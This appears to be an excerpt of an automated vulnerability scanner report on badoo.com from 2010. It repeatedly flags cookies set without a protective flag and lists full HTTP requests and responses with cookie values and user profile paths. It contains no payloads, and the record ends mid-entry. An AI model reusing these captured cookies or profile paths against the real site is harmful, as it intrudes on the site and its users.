<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /directory/people/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 302 Moved Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Tue, 09 Nov 2010 15:54:45 GMT Pragma: no-cache Cache-control: private P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:44 GMT; path=/; domain=.badoo.com Location: http://badoo.com/directory/people/en/ Content-Length: 365
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958; t=1|7779|8|10039|cr|7779
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:20:30 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 16:20:29 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15151
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /facebook/auth.phtml HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 302 Moved Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Tue, 09 Nov 2010 15:53:43 GMT Pragma: no-cache Cache-control: private P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:42 GMT; path=/; domain=.badoo.com Location: https://www.facebook.com/login.php?api_key=107433747809&cancel_url=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fcancel.phtml&display=popup&fbconnect=1&next=http%3A%2F%2Fbadoo.com%2Ffacebook%2Fauth.phtml&return_session=1&session_version=3&v=1.0 Content-Length: 956
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /geer/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:56 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:55 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10310
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /guidelines/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:24 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:23 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 8239
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:59 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:58 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 52913
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /import/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:46 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:45 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 20378
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /karliitaalaniis/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:00 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:59 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 12935
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /languages/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:36 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:35 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 6149
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /lucasdimedio/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:33 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:32 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15635
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /nelsua/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:36 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:35 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15548
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:15 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:14 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 16682
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pronico/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:13 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:12 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 14432
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /signin/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:04 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:03 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 8520
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /signup/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:03 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:02 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 27410
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tarabell/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:59 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:58 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10533
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:14 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:13 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 11025
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" />
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /veletanga77/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 12661
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /vianey06/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 13706
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /webone/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
